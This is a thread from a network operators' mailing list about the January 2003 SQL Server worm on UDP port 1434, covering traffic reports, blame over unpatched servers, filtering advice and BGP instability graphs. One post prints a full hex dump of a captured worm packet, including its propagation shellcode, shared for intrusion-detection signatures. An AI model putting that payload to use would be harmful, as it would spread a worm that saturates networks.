On Sat, 25 Jan 2003, Mikael Abrahamsson wrote: > > Lots of traffic on udp port 1434 coming in here via TW Telecom and Sprint > > Looks like we may have a winner for DDoS of the year (so far) > What kind of traffic levels are you seeing? I'm working on it for some friends, and I'm seeing about 900mbits/second on a gigabit link coming out of their hosting facility. Lots and lots of Microsoft crap in there, I guess. Somebody remind me why Microsoft is still allowed to exist? -Bill

Dunno, arent they negligent?

In any other industry a fundemental flaw would be met with lawsuits, in the computer world tho people seem to get around for some reason.

Not true, look at cars and recalls. Also as I understand it MS issued a fix for this sometime ago - it the users who didn't implement it! -- Neil J. McRae - Alive and Kicking neil@DOMINO.ORG

BIll, ----- Original Message ----- From: "Bill Woodcock" <woody@pch.net>

I'd agree with it. Except the herds of losers who still buy exploding crap from Vendor M don't seem to be thinning themselves out quickly

dude, the Exploding Cars are so much easier to drive than the ones from Vendor L. (tic)

enough. Maybe they're sexually attractive to each other, and reproduce before their stupidity kills them. That would be unfortunate. Or maybe it's just that none of this computer stuff actually matters, so exploding crap isn't actually fatal. Maybe that's it.

I think it sucks that they are exploding on MY highway. With that in mind is it time yet to talk about solutions to problems like this from the network point of view? Sure its easy to put up access list's when needed but I have 100megs available to me on egress and I was trying to push 450megs. Is there anything protocol, vendor specific or otherwise that will not allow rogue machines to at will take up 100% of available resources? I know extreme networks has the concept of Max Port utilization on thier switches, will this help? Suggestions? -Scotty

From: "Robert A. Hayden"

What about doing some priority-based QoS? If a single IP exceeds X amount of traffic, prioritize traffic above that threshold as low. It would keep any one single host from saturating a link if the threshold is low.

For example, you may say that each IP is limited to 10mb of prioirty traffic. Yes, a compromised host may try to barf out 90mb of chaff, but the excess would be moved down the totem pole.

<snip> Down the totem pole isn't off the totem pole. In most cases the issue wasn't traffic priority. Most network equipment isn't designed to handle 100% capacity from all ports. Under standard operation, maximum capacity is never reached. It is cost prohibitive to support it. In addition, this was a dual issue. Not only did the bandwidth saturate, the packets are so small that in reaching for 100% saturation, many routers and switches first exceeded their maximum pps thresholds. The best defense is to monitor and know your traffic. When traffic becomes uncommon, someone needs to be alerted. A 30% processor increase is not a good thing; ever. Second, know the optimizations for your particular equipment and code. Each piece of equipment has it's own optimizations. In my case, it was better to access-list at the router level than to run bandwidth limiting, and I run a crummy 7200. It's even nicer on a 7500+ where it's offloaded to the linecard processors. If a portion of the network or a specific port is unrecoverable, shut it down. The server won't be able to handle traffic anyways, and it is better to cut off a portion of the network than lose the entire network. Jack Bates Network Engineer BrightNet Oklahoma

On 1/25/03 2:53 PM, "Christopher L. Morrow" <chris@UU.NET> wrote:

Keep in mind that these problems aren't from 'well behaved' hosts, and 'well behaved' hosts normally listen to ECN/tcp-window/Red/WRED.... classic DoS attack scenario. :(

Well not everyone plays fair out there. I imagine this is built into SLA's too right? "My network will be up as long as everyone is well behaved" I understand the evils, but are we really at the mercy of situations like this? Of course we can firewall the common sense things ahead of time, and we can jump right in and block evil traffic when it happens, after it takes down our network but what sorts of things can we design into our networks today to help with these situations? -Scotty

If a customer is infected, then the problem is on their end. The fact that they don't have throughput is their issue, not that of the provider's.

Many, many customers don't understand this - if they don't have throughput, it's the provider's problem and the provider has to fix it. One of the reasons I'm not providing anymore.

As for collateral damage, proper monitoring of the entire network and early warning systems allow engineers to hopefully stop the problem before it goes critical. The spool up on this worm was massive and effected some networks too fast to prevent them going critical. However, tracking and resolution should easily have been within the SLA windows.

I've seen various references to this worm firing off and saturating networks worldwide within 1 minute... if *that* isn't scary, I don't know what is. It shows that someone, with the right tools and enough vulnerable servers can take out a good portion of the Internet in seconds. And how can we predict *every* possible issue and block it?

My policy: Hmm, I'm not sure. *ring* Dude, wake up. It's a critical outage. The whole network is collapsing. Think! *rambles for 5 minutes* Oh, wait. Never mind, I got it. Go back to sleep. Thanks.

I think there's only so much one can do in advance. Sure, we all know we shouldn't have these servers exposed, but again, many are in the position of having to leave them open to some extent - case in point, I have a developer who uses dialup (because he's in the sticks in northern Georgia, and nothing else is available, and he's a skinflint who uses the free or nearly-free dialup providers)... he's also not going to use a VPN... he'll just bitch because he can't get to the server. More cases where you do what you have to... a couple of years ago, when I *was* doing the provider bit... I blocked the netbios ports on the border. You have no idea what a cry went up from customers... they *want* to share drives over the Internet, and didn't care what risks might be involved. It was, to them, too complicated and/or expensive to do it via a VPN. So I ended up having to open them back up, but kept them blocked to my own machines. Sometimes the best you can do is explain the risks, and then let the customer do what they will. Until they're causing problems... of course at that point you can cut 'em off (how many of you shut down customer boxen last night?). I'm no great thinker, and having said that, I'm just not sure we can protect everything/everybody.

On Sat, Jan 25, 2003 at 08:56:06AM -0800, Bill Woodcock wrote:

> > Dunno, arent they negligent? > > In any other industry a fundemental flaw would be met with lawsuits, in the > > computer world tho people seem to get around for some reason. > > Not true, look at cars and recalls. Also as I understand it MS > issued a fix for this sometime ago - it the users who didn't implement it!

Uh, lemme see if I get your argument. People who buy exploding cars from Vendor M are at fault when the cars explode, since cars from Vendor M always explode, and Vendor M always disclaims responsibility, since someone usually points out in advance that the cars will explode?

That's not what he said. To follow on from your analogy it should go: Car manufacturer finds that under condition X a car explodes. Car vendor has a mailing list that people who buy the car can sign up to. Car vendor offers to fix this for free and notifies the mailing list. Now it's up to the consumer NOT the vendor. If the consumer says "I don't give a shit about things like this", how can you possibly hold the manufacturer at fault for it not getting fixed?

On Sat, Jan 25, 2003 at 08:56:06AM -0800, Bill Woodcock wrote:

> > Dunno, arent they negligent? > > In any other industry a fundemental flaw would be met with lawsuits, in the > > computer world tho people seem to get around for some reason. > > Not true, look at cars and recalls. Also as I understand it MS > issued a fix for this sometime ago - it the users who didn't implement it!

Uh, lemme see if I get your argument. People who buy exploding cars from Vendor M are at fault when the cars explode, since cars from Vendor M always explode, and Vendor M always disclaims responsibility, since someone usually points out in advance that the cars will explode?

I'm not sure that your argument has anything to do with the law or with right and wrong, but in a sort of social-Darwinism sort of way, I guess I'd agree with it. Except the herds of losers who still buy exploding crap from Vendor M don't seem to be thinning themselves out quickly enough. Maybe they're sexually attractive to each other, and reproduce before their stupidity kills them. That would be unfortunate. Or maybe it's just that none of this computer stuff actually matters, so exploding crap isn't actually fatal. Maybe that's it.

Time for someone to fight the product liability included in the 'shrinkwrap' licenses. I do believe that there should be some sort of inital grace period for the software industry.. they are well intentioned and not as old as the car industry.. but the dire affects and lost sleep for some people need to eventually be reckoned with. The grace period should probally be over now and the industry declared 'mature and liable' for shoddy software. If my car has a recall notice, i get a letter saying "dear sir, your gas tank may explode if used. please come in for our inspection". If they can keep track of those millions of cars each year, at least somewhat, it should be simple to track who purchased the software and send them a letter saying "get these patches now.." or perhaps they can do some agrement with AOL to include all the latest patches in those CDs^H^H^HCoasters they send me. - Jared -- Jared Mauch | pgp key available via finger from jared@puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine.

On Sat, 25 Jan 2003, Alex Rubenstein wrote:

On Sat, 25 Jan 2003, Stephen J. Wilcox wrote:

...

...

Somebody remind me why Microsoft is still allowed to exist?

Dunno, arent they negligent?

In any other industry a fundemental flaw would be met with lawsuits, in the computer world tho people seem to get around for some reason.

Including the developers of SSHD, HTTPD, NAMED, CVS?

How about Linus? Wanna call him up?

Not sure you can claim something you have for free is liable or with guarantee

I am no windows cheerleader, but to think this is something that happens only in windows-land is whack -- might as well put your head in the sand.

True altho it does appear to affect MS more so than it ought to even considering their market lead.

Simple philosophy: Everything sucks at all times and all places. Routers, switches, hosts, OS's. We, as operators, have to do our best to deal.

I expect my purchases to live up to their sales description

It's arguable you are as liable as anyone else, since this particular exploit is 'old news' and a patch has been available for it for some time.

I'm not hit, its my customers!

Also; everyone who just posted to this list made it abundantly clear that they don't have a firewall in front of at least one MS SQL server on their network. Should you really have port 1433/4 open to the world? Would you do this with a MySql server?

Yes, thats bad.. people should be more clueful than they are, I blame folks being cheap, having staff who are clueless, low quality equipment, this is the market we're in. Steve

...

True altho it does appear to affect MS more so than it ought to even considering their market lead.

What evidence do you have here? If I count the number of DDOS attacks from insecure Linux boxes that we've seen in the last year, I'd say that its on par.

I think you are on the right lines below in suggesting that products and services should be supplied safe and not require additional maintenance out of the box to make them so (additional changes should make them weaker)

...

I expect my purchases to live up to their sales description

...

Yes, thats bad.. people should be more clueful than they are, I blame folks being cheap, having staff who are clueless, low quality equipment, this is the market we're in.

Do you actually use MS SQL? From what you've posted I'd say not. Have you had a network outage that your customers have had to suffer?

I've not had an outage no, but some of my customers have maxed their own connections to me. Why?

You are blaming yourself in the last statement as its upto operators to make sure customers get the message about securing their network. I've been whining at router manufacturers about alot of their default options for years. Last week I whined at Cisco to put a huge sticker on every CPE router they sell warning about Network Security and Day to Day administration. How much of this to you talk to your own customers about? Or do you just take the money?

This is a little specific on me rather than "in general".. however I always advise folks of what I think are best practices and try to educate them and if anything I give far to much for free when I should be charging, that I tend to keep my customers over time and keep the good relations suggests that they like the attention I give them. My involvement in discussion forums and the organisations I'm in is about a 2 way process of being educated and educating others so yes I'm talking to my customers about this!

I don't know of an industry where costs aren't always being lowered.

I dont know of one where prices are below cost values such that players of all sizes regularly go bankrupt and services are squeezed harder and harder. Steve

On Sat, 25 Jan 2003, Neil J. McRae wrote:

...

I think you are on the right lines below in suggesting that products and services should be supplied safe and not require additional maintenance out of the box to make them so (additional changes should make them weaker)

There is no such thing as safe! You have control over what risks you want to take the aim should always be to lower them but if you want safe, pull the power plug, place your box in a large metal container and sink it in very deep waters.

Agreed but on the assumption people will connect their new PC to the Internet the supplied OS should be appropriately configured.

...

...

I don't know of an industry where costs aren't always being lowered.

I dont know of one where prices are below cost values such that players of all sizes regularly go bankrupt and services are squeezed harder and harder.

Microsoft and XBox is an example, lots of industries have loss leaders. Still waiting on evidence that most security issues are due to Microsoft though!

A loss leader does not cause bankruptcy, they have a profitable section to sustain the loss making product. In our industry we just seem to run with too small a margin. Hmm dont think I can argue the Linux vs MS point tho, its a big can of worms! This may be academic tho in our discussion, are you saying COLT uses MS servers in favour of linux for its public services? The question of which is more secure depends on numbers, application, etc I see loads of linux patches every month that I dont install because I have not installed or disabled most features in my OS. I believe if you count security bulletins linux has in fact overtaken microsoft. On the other hand if you count incidents you'll find the Codered, Nimda and probably this one too at the top of the list. But then offset that against the market penetration MS has into joe public.. and so on. Heres my advice to the uninitiated. Run linux, run firewalls, disable what you dont need and listen to folks who have real world experience. Steve

On Sun, 26 Jan 2003, Rafi Sadowsky wrote:

## On 2003-01-25 20:04 -0000 Stephen J. Wilcox typed:

SJW> SJW> SJW> Heres my advice to the uninitiated. Run linux, run firewalls, disable what you SJW> dont need and listen to folks who have real world experience. SJW> SJW> Steve SJW>

Please don't start a flame war about this but are you implying that the Major Linux distributions are the "most secure" Unix-like OS (at least out of the box) ???

I hadnt really thought about it, I was just offering my approach to running servers on the public Internet Dont read too much into it, I wasnt suggesting that snippet as the absolute way to connect to the internet.. it was preceded by a discussion on where folks place their database servers.. Steve

On Sat, 25 Jan 2003, Stephen J. Wilcox wrote:

...

How about Linus? Wanna call him up?

Not sure you can claim something you have for free is liable or with guarantee

In today's legal climate, I bet you can :)

...

I am no windows cheerleader, but to think this is something that happens only in windows-land is whack -- might as well put your head in the sand.

True altho it does appear to affect MS more so than it ought to even considering their market lead.

There has to be a correlation made with a) of all computers connected to internet, a vast majority are MS, and b) if people target MS more, they will show vulns more. Simple statistics, here.

...

Simple philosophy: Everything sucks at all times and all places. Routers, switches, hosts, OS's. We, as operators, have to do our best to deal.

I expect my purchases to live up to their sales description

Did someone warrant to you, that MS SQL server is unhackable? Almost every software license I've seen in my life as talked about 'mechantability', and 'liability.;

...

It's arguable you are as liable as anyone else, since this particular exploit is 'old news' and a patch has been available for it for some time.

I'm not hit, its my customers!

'you' refers to the ding who dind't secure his servers.

Yes, thats bad.. people should be more clueful than they are, I blame folks being cheap, having staff who are clueless, low quality equipment, this is the market we're in.

Third point to the correlation above: The vast majority of Windows admins are dingbat-morons, self-proclaimed experts. Had then not been dingbat-morons, and applied the readily available and widely announced patches (as zealously as unix folks patch thier stuff), this'd be all moot, and we'd all have gotten a better nights sleep. -- Alex Rubenstein, AR97, K2AHR, alex@nac.net, latency, Al Reuben -- -- Net Access Corporation, 800-NET-ME-36, http://www.nac.net --

On Sat, Jan 25, 2003 at 06:47:49PM +0000, neil@DOMINO.ORG said:

...

Third point to the correlation above: The vast majority of Windows admins are dingbat-morons, self-proclaimed experts. Had then not been dingbat-morons, and applied the readily available and widely announced patches (as zealously as unix folks patch thier stuff), this'd be all moot, and we'd all have gotten a better nights sleep.

I don't think this is fair statement either, Linux and Microsoft have the most issues because they have the largest market share - security by obscurity. It doesn't mean they have anymore issues than any other vendors, success brings problems and this is one of them.

That's partially, but not entirely, true. I would lay money against anybody willing to bet, that the OpenBSD project has cleaner code, with fewer bugs, than any other OS in common use today, commercial _or_ free. Yes, the OpenBSD project (for example) has fewer announced vulnerabilities and exploits - but it's not due to a lack of market share. It's due to clean code. Conversely, MS software (both OS, server and client-side) leading the way in vulnerabilities, patches and exploits is not due entirely to market share. Redmond has a history of releasing crap code, with security consistently taking a backseat to featuritis and time-to-market. This is straying off-topic, and I tend to rant on this issue, so this will be my last post on the subject. -- -= Scott Francis || darkuncle (at) darkuncle (dot) net =- GPG key CB33CCA7 has been revoked; I am now 5537F527 illum oportet crescere me autem minui

From: "Grant A. Kirkwood"

Can we perhaps skip the post-traumatic blame syndrome this time? I can see where this is going already...

It's inevitable. Despite the early morning wakeups and people being required to quit watching tv and actually troubleshoot and work on their network, they all enjoyed it. Perhaps I'm wrong and it's my youth speaking. I love the rush of having to think quick and act fast. It'll die as the excitement wears down. Jack Bates Network Engineer BrightNet Oklahoma

On Sat, 25 Jan 2003, Avleen Vig wrote:

On Sat, Jan 25, 2003 at 05:08:22PM +0000, Stephen J. Wilcox wrote:

...

...

Also; everyone who just posted to this list made it abundantly clear that they don't have a firewall in front of at least one MS SQL server on their network. Should you really have port 1433/4 open to the world? Would you do this with a MySql server?

Yes, thats bad.. people should be more clueful than they are, I blame folks being cheap, having staff who are clueless, low quality equipment, this is the market we're in.

The market we are in was specifically bred by Microsoft in the 90's when they claimed Windows was so eay to use, anyone could admin it. They've since changed their tune, but the damage has been done and continues to be done like last night :(

I would agree somewhat with Avleen here... BUT, like I said, its long past the time when every internet connected org really should reevaluate their security force's size and abilities :) security is 'important' and we really SHOULD get that across to EVERYONE... or atleast that's my thought :)

On Sat, 25 Jan 2003, Alex Rubenstein wrote:

Including the developers of SSHD, HTTPD, NAMED, CVS?

How about Linus? Wanna call him up?

I am no windows cheerleader, but to think this is something that happens only in windows-land is whack -- might as well put your head in the sand.

It is interesting to note that one inadvertent advantage of open source (when it requires people to compile from source, and pick and choose options at compile time... popular distributions with precompiled packages obviously break this to a certain degree) is that it leads to a much more heterogenous set of software WRT attacks like buffer overflows. Contrast this to something that is compiled once (or a small handfull) of times by the vendor, resulting in a much more predictable environment for many types of exploits. There have been several worms that have demonstrated this difference. [...]

Also; everyone who just posted to this list made it abundantly clear that they don't have a firewall in front of at least one MS SQL server on their network. Should you really have port 1433/4 open to the world? Would you do this with a MySql server?

It is interesting to note that apparently Windows NT and 2000 systems default to a somewhat dated and limited ephemeral port range of 1024-5000 (cf. ms kb article 196271). If you are blocking traffic on a variety of inbound UDP ports in that range using a simple packet filter, you will randomly be blocking responses to legitimate outbound UDP traffic, such as DNS. Granted, in many environments there is no need to allow MS systems to directly make DNS queries to anything outside the firewall. There are quite disturbing reports of hosts such as activex.microsoft.com, lawsqlsrv2.hotmail.com, etc. sourcing these packets (ie. appearing to be infected), but they need to be taken with a grain of salt. It is certainly possible that places who have hosts that are otherwise firewalled (that's ok, don't need to patch them...) aren't properly filtering UDP since it is harder to do properly if you require support for UDP traffic.

On Sat, Jan 25, 2003 at 01:13:30AM -0800, Bill Woodcock wrote:

On Sat, 25 Jan 2003, Mikael Abrahamsson wrote: > > Lots of traffic on udp port 1434 coming in here via TW Telecom and Sprint > > Looks like we may have a winner for DDoS of the year (so far) > What kind of traffic levels are you seeing?

I'm working on it for some friends, and I'm seeing about 900mbits/second on a gigabit link coming out of their hosting facility. Lots and lots of Microsoft crap in there, I guess. Somebody remind me why Microsoft is still allowed to exist?

Let's not blame MS for admins who don't know how to secure their boxes :-) A patch was released mid-2002 and was also part of SQL Server SP3

Would it not also be a good idea/practice *not* to ever let a MS SQL server (or *any* database server) sit on a network that is directly accessible from the internet ? Having a firewall(s) in front of your database server regardless of the type is pretty much common sense, right?

Its bad enough to be stuck having to run/support IIS and MSSQL in any scenario, but letting MSSQL talk to the world just seems like asking for even more trouble.

That depends on what you are using the server for - it might be used by various offices around the world, or to interface with other corporations platforms etc. Ideally this would be in a secured VPN or at the very least be limited by IP address, but MS SQL admins are not alone in the pretend everything will be ok from a security standpoint. Neil. -- Neil J. McRae - Alive and Kicking neil@DOMINO.ORG

On Saturday 25 January 2003 10:03 am, Avleen Vig wrote:

On Sat, Jan 25, 2003 at 12:20:41PM -0500, C. Jon Larsen wrote:

...

On Sat, 25 Jan 2003, Avleen Vig wrote:

[snip]

...

Let's not blame MS for admins who don't know how to secure their boxes

:-)

A patch was released mid-2002 and was also part of SQL Server SP3

Would it not also be a good idea/practice *not* to ever let a MS SQL server (or *any* database server) sit on a network that is directly accessible from the internet ? Having a firewall(s) in front of your database server regardless of the type is pretty much common sense, right?

Its bad enough to be stuck having to run/support IIS and MSSQL in any scenario, but letting MSSQL talk to the world just seems like asking for even more trouble.

I agree absolutely. This is just bad practice and the network admins here need to re-think their security architecture.

Sometimes that's just not an option. We operate a colo facility, and while we strongly encourage "best practices" customers don't always listen. "My personal firewall will protect me" etc... It's just unfortunate when one person's ignorance leads to problems for other people, as in this case. -- Grant A. Kirkwood - grant(at)tnarg.org Fingerprint = D337 48C4 4D00 232D 3444 1D5D 27F6 055A BF0C 4AED

On Sat, 25 Jan 2003, Stephen J. Wilcox wrote:

I've not looked at any great detail into the exact sources but of the few I looked at earlier I was surprised to find them on ADSL .. these may be corporate networks this is the bit I dont know but some of them seemed to be residential, weird!

Never underestimate a customer's willingness to run any/everything pirated they can get their hands on. "Cool SQL Server on Kazaa, might as well get that too! What's it do? who cares!" -S -- Scott Call Router Geek, ATGi, home of $6.95 Prime Rib "Nothing is less productive than to make more efficient what should not be done at all." -Peter Drucker

From: "Avleen Vig"

<snip>

Let's not blame MS for admins who don't know how to secure their boxes :-) A patch was released mid-2002 and was also part of SQL Server SP3

Has it been verified that the mid-2002/SP3 patches work? I haven't heard anything difinitive on this yet. Jack Bates Network Engineer BrightNet Oklahoma

We have had multiple customers who had SP3 on their boxes that were hit. SP3 was _supposed_ to include this patch, there is no verification so far that it did. Since all the providers have been blocking the attack spread from the routers, installing SP3 on boxes post-attack hasn't really been put to the test yet. YMMV On Sat, Jan 25, 2003 at 08:40:53AM -0800, Avleen Vig eloquently stated:

Let's not blame MS for admins who don't know how to secure their boxes :-) A patch was released mid-2002 and was also part of SQL Server SP3

-- Stephen Milton - Vice President (425) 881-8769 x102 ISOMEDIA.COM - Premium Internet Services (425) 869-9437 Fax milton@isomedia.com http://www.isomedia.com

On Sat, Jan 25, 2003 at 02:10:59PM -0800, Stephen Milton wrote:

We have had multiple customers who had SP3 on their boxes that were hit. SP3 was _supposed_ to include this patch, there is no verification so far that it did.

Since all the providers have been blocking the attack spread from the routers, installing SP3 on boxes post-attack hasn't really been put to the test yet.

Did you install WIDOWS service pack 3 or SQL SERVER service pack 3?

It is entirely possible that my customer was referring to 2K-SP3. I am glad to hear some positive _tested_ results on SQLSP3 with the new worm. -Steve On Sat, Jan 25, 2003 at 06:43:56PM -0500, Dave Stewart eloquently stated:

At 05:10 PM 1/25/2003, you wrote:

...

We have had multiple customers who had SP3 on their boxes that were hit. SP3 was _supposed_ to include this patch, there is no verification so far that it did.

Since all the providers have been blocking the attack spread from the routers, installing SP3 on boxes post-attack hasn't really been put to the test yet.

YMMV

Not extensive testing, no... but again...

SQL Server 2000 SP3 is not the same animal as Windows 2000 SP3.

And after installing SQL Server 2000 SP3, I opened up the router to allow all the 1434 traffic that came in... the box was hit on numerous occasions over the next hour or so, and never did it get infected again.

SQL Server 2000 SP3 was just released on 1/17/2003... while the patch for this vulnerability has been out since last July (and yes, I'm guilty of not following it closely enough myself... no excuses)

-- Stephen Milton - Vice President (425) 881-8769 x102 ISOMEDIA.COM - Premium Internet Services (425) 869-9437 Fax milton@isomedia.com http://www.isomedia.com

From: "Mikael Abrahamsson"

What kind of traffic levels are you seeing? With a handful of /16 etc we're not seeing more than 5-10 megabits of traffic according to my global transit graphs.

People who havent null routed their unused prefixes properly will probably see a lot of problems though (but that's default).

Going by the decline in both my outbound and inbound access lists over time, I suspect that the traffic increases when a sql server is found. Once communication is cut between the two, it appears that there is just scan data passing through at a lower rate. I have little data to go on, though, so my assessment may not be accurate. Jack Bates BrightNet Oklahoma

On Sat, 25 Jan 2003, Andy Dills wrote:

Yet, with Genuity, I don't seem to be having difficulties reaching anywhere. Are people still being absolutely ravaged by the worm at this minute? I personally never saw any serious increase of traffic on my network, I guess I'm enough to have colo customers who patch their ^ lucky boxes...

Oh, and the master ticket number is 693626, with no ETR. Any speculation as to why Qwest is taking it in the ass so particularly hard? Andy xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Andy Dills 301-682-9972 Xecunet, LLC www.xecu.net xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Dialup * Webhosting * E-Commerce * High-Speed Access

On Sat, 25 Jan 2003, Mikael Abrahamsson wrote:

What kind of traffic levels are you seeing? With a handful of /16 etc we're not seeing more than 5-10 megabits of traffic according to my global transit graphs.

We had a IIS server in our collocation center start spewing data at 70mb/s towards the internet. Considering we're only attached to our (multiple) upstreams at a combined bandwidth of quite a bit less than that, it basically buried our router and upstream connectivity. - Forrest W. Christian (forrestc@imach.com) AC7DE ---------------------------------------------------------------------- The Innovation Machine Ltd. P.O. Box 5749 http://www.imach.com/ Helena, MT 59604 Home of PacketFlux Technologies and BackupDNS.com (406)-442-6648 ---------------------------------------------------------------------- Protect your personal freedoms - visit http://www.lp.org/

At 12:45 AM 1/25/2003, you wrote:

01:42:04.040462 194.87.13.21.1812 > x.x.x.x.1434: rad-account-req 376 [id 1] Attr[ User User User User User User User User User User User User User User User User User User User User User User User User User User User User User User User User User [|radius]

That is the traffic...

Either I'm seeing something different, or you're decoding the packets differently... Or there are two worms? In any case, this is what we're seeing: 03:00:16.926474 64.57.XXX.XXX.2821 > XX.XXX.XXX.XXX.1434: udp 376 0x0000 4500 0194 388e 0000 7211 0000 4039 XXXX E...8...r...@9.. 0x0010 XXXX XXXX 0b05 059a 0180 6190 0401 0101 ..........a..... 0x0020 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0030 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0040 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0050 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0060 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0070 0101 0101 0101 0101 0101 0101 01dc c9b0 ................ 0x0080 42eb 0e01 0101 0101 0101 70ae 4201 70ae B.........p.B.p. 0x0090 4290 9090 9090 9090 9068 dcc9 b042 b801 B........h...B.. 0x00a0 0101 0131 c9b1 1850 e2fd 3501 0101 0550 ...1...P..5....P 0x00b0 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65 ..Qh.dllhel32hke 0x00c0 726e 5168 6f75 6e74 6869 636b 4368 4765 rnQhounthickChGe 0x00d0 7454 66b9 6c6c 5168 3332 2e64 6877 7332 tTf.llQh32.dhws2 0x00e0 5f66 b965 7451 6873 6f63 6b66 b974 6f51 _f.etQhsockf.toQ 0x00f0 6873 656e 64be 1810 ae42 8d45 d450 ff16 hsend....B.E.P.. 0x0100 508d 45e0 508d 45f0 50ff 1650 be10 10ae P.E.P.E.P..P.... 0x0110 428b 1e8b 033d 558b ec51 7405 be1c 10ae B....=U..Qt..... 0x0120 42ff 16ff d031 c951 5150 81f1 0301 049b B....1.QQP...... 0x0130 81f1 0101 0101 518d 45cc 508b 45c0 50ff ......Q.E.P.E.P. 0x0140 166a 116a 026a 02ff d050 8d45 c450 8b45 .j.j.j...P.E.P.E 0x0150 c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45 .P........<a...E 0x0160 b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829 ...@...........) 0x0170 c28d 0490 01d8 8945 b46a 108d 45b0 5031 .......E.j..E.P1 0x0180 c951 6681 f178 0151 8d45 0350 8b45 ac50 .Qf..x.Q.E.P.E.P 0x0190 ffd6 ebca .... Not saying that isn't what you saw, just letting people know what else to expect if they're trying to setup IDS signatures.... (sending this email in plain and HTML, to help some email clients format that correctly - excuse the HTML for everyone else)

...

here's a plot showing the impact on BGP routing tables from seven ISPs (plotted using route-views data): http://www.research.att.com/~griffin/bgp_monitor/sql_worm.html

And as an interesting counterpoint to this, this graph shows the number of BGP routing updates received at MIT before, during, and after the worm (3 day window). Tim's plots showed that the number of actual routes at the routers he watched was down significantly - these plots show that the actual BGP traffic was up quite a bit. Probably the withdrawals that were taking routes away from routeviews...

http://nms.lcs.mit.edu/~dga/sqlworm.html

-Dave

Wow, for a minute I thought I was looking at one of our old plots, except for the fact that the x-axis says January 2003 and not September 2001 :) :) Your plot is consistent with what we saw on Saturday as well. Looks much like a "little Nimda." Blast from the past: http://www.renesys.com/projects/bgp_instability --jim ---------- James Cowie Renesys Corporation http://gradus.renesys.com

On Mon, Jan 27, 2003 at 06:15:33PM -0800, Randy Bush mooed:

...

Wow, for a minute I thought I was looking at one of our old plots, except for the fact that the x-axis says January 2003 and not September 2001 :) :)

seeing that the etiology and effects of the two events were quite different, perhaps eyeglasses which make them look the same are not as useful as we might wish?

Actually, an eyeballing of the MIT data would suggest that the SQL worm hit harder and faster than NIMDA, and resulted in a more drastic effect on routing tables. I've updated the page I mentioned before: http://nms.lcs.mit.edu/~dga/sqlworm.html to also contain the graph of MIT updates during the NIMDA worm. I should note that our route monitor moved closer to MIT's border router between these updates - it's now colocated in the same datacenter, and before it was across the street, which made it a bit more susceptable to link resets during the NIMDA worm attack. LCS is more prone to dropping off the network than is the entire MIT campus. Therefore, the NIMDA graph probably has a few more session resets (the spikes up to 100,000 routes updated) than it should. -Dave -- work: dga@lcs.mit.edu me: dga@pobox.com MIT Laboratory for Computer Science http://www.angio.net/ I do not accept unsolicited commercial email. Do not spam me.

From:

So far it's been visible as an apparently accidental byproduct of an

attack

with other goals. Are you willing to bet your bifocals that the same mechanism can't be weaponized and used against the routing infrastructure directly in the future?

Yet the question becomes the reasoning behind it. How much is a direct result of the worm and how much is a result of actions based on the NE's? The other question is BGP deployment within smaller networks. I've seen a lot of different BGP configs handed down from reputable NEs to smaller businesses and ISPs. Unfortunately, the configs are usually comparable to what you'd use in a network that has peers beneath it versus what a network that only has two uplinks requires (ie, AS filtering not really required). It is quite common that /24 networks listed on connected interfaces not be null routed which has it's good points and bad. When you lose the interface, the traffic will stop at the local ISP's BGP routers if using ARIN assigned addresses or it will stop at the upstream provider's routers due to aggregates if using their IPs. In general, unless cost is an issue, it's usually good to let the packet come all the way to your network. It makes external troubleshooting easier and keeps BGP stable so long as the peering connection isn't lost. Of course, people need to learn to use metrics when doing null routes. Some people forget they exist. :) BGP update storms are enough to drop some peering sessions due to underpowered routers. Some large providers reject updates if the network goes critical in order to keep traffic manageable while the problem is determined and rectified. So while I do agree that the worms themselves hold some sway over the BGP activity, the same lack of preparation that allowed the worm to run so rampant can also be seen in the networks themselves. I personally have dealt with enough DOS/DDOS attacks that I have a emergency plan in place which allows as much control over the network from remote without depending on the network itself. I have an understanding of how my network is effected by different loads and which direction cascade failures will go. Luckily, I have a relatively small network, yet such an understanding and research should exist for any network regardless of size. The records of both worms should be indications of the weak points in people's networks. Jack Bates BrightNet Oklahoma

From: <cowie@renesys.com> <snip>

On the other hand, we also know (from private communications and from other mailing lists.. ahem) that high rate and high src/dst diversity of scans causes some network devices to fail (devices that cache flows, or devices that suffer from cpu overload under such conditions).

Some BGP-speaking routers (not all, by any means, but some subpopulation) found themselves pegged at 100% CPU on Saturday. Just one example:

http://noc.ilan.net.il/stats/ILAN-CPU/new-gp-cpu.html

Was it not known that under certain conditions the router would flatline? What percautionary measures were put into place in such an event to limit the damage?

Whether you believe "anthropogenic" explanations for the instability depends on how fast you believe NEs can look, think, and type, compared to the speed with which the BGP announcement and withdrawal rates are observed to take off. For my part, I'd bet that the long slow exponential decay (with superimposed spiky noise) is people at work. But the initial blast is not.

When the crisis is on you, it's too late. You are either prepared and know exactly what to do at that critical moment or you don't. You either had a <5 minute response time to the crisis or you didn't. We also know (from private communications and from other mailing lists.. yes, I'm a thief :) that many NEs were caught with their pants down, a mistake they aren't apt to do again. It comes down to one's outlook. Do you just configure and maintain or do you strive to push it to the envelope? Do you truly know your network? Remember, it's a living, breathing thing. The complexity of variables makes complete predictability impossible, and so we must learn to understand it and how it reacts. Then again, perhaps I'm a lunatic. :) Jack Bates BrightNet Oklahoma

http://noc.ilan.net.il/stats/ILAN-CPU/new-gp-cpu.html > Was it not known that under certain conditions the router would flatline? What percautionary measures were put into place in such an event to limit the damage?

scheduler allocate -hc